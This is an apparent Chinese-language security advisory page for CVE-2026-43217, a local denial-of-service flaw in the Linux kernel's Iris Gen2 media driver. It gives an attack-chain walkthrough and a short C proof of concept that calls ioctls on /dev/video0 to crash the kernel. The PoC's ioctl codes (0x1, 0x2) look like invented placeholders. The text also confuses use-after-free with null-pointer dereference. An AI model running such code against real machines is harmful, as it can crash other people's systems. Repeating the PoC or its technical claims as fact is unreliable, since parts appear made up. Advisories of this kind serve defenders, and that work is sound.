IPBUF安全漏洞报告
English
CVE-2026-43217 CVSS 5.5 中危

CVE-2026-43217 Linux内核Iris驱动空指针引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43217
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSNull Pointer DereferenceMedia DriverLocal

漏洞概述

Linux内核中的media/iris/gen2驱动存在安全漏洞。在iris_kill_session执行过程中,session_close会释放inst_hfi_gen2->packet内存。若随后调用stop_streaming,由于缺少空指针检查,系统将访问已释放内存导致崩溃。

技术细节

该漏洞源于Linux内核驱动程序在处理媒体会话终止时的逻辑缺陷。具体而言,当iris_kill_session被触发时,驱动会将实例状态设置为IRIS_INST_ERROR,并调用session_close函数,该函数执行kfree操作释放了inst_hfi_gen2->packet指向的内存空间。然而,代码未包含对后续stop_streaming调用的防护机制。如果stop_streaming在内存释放后被调用,它会尝试利用该无效指针向固件发送STOP指令包。这一操作触发了空指针解引用,导致内核恐慌,进而引发系统崩溃或重启。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2:触发会话终止
攻击者通过特定操作或程序触发iris驱动的iris_kill_session函数。
STEP 3
步骤3:释放关键资源
驱动执行session_close,释放inst_hfi_gen2->packet内存。
STEP 4
步骤4:调用停止流
攻击者立即调用stop_streaming操作。
STEP 5
步骤5:系统崩溃
驱动访问已释放的packet指针,触发内核崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43217 * Trigger crash by calling stop_streaming after session_kill */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE "/dev/video0" #define IRIS_IOCTL_SESSION_KILL 0x1 #define IRIS_IOCTL_STOP_STREAMING 0x2 int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("[+] Triggering iris_kill_session...\n"); ioctl(fd, IRIS_IOCTL_SESSION_KILL, 0); printf("[+] Calling stop_streaming on freed context...\n"); // This triggers the NULL pointer dereference ioctl(fd, IRIS_IOCTL_STOP_STREAMING, 0); close(fd); return 0; }

影响范围

Linux Kernel (Iris Gen2 driver enabled, versions prior to commits 7284644, 75992ba, 9aa8d63)

防御指南

临时缓解措施
限制对本地视频设备的非授权访问,或临时禁用Iris Gen2驱动模块以防止利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表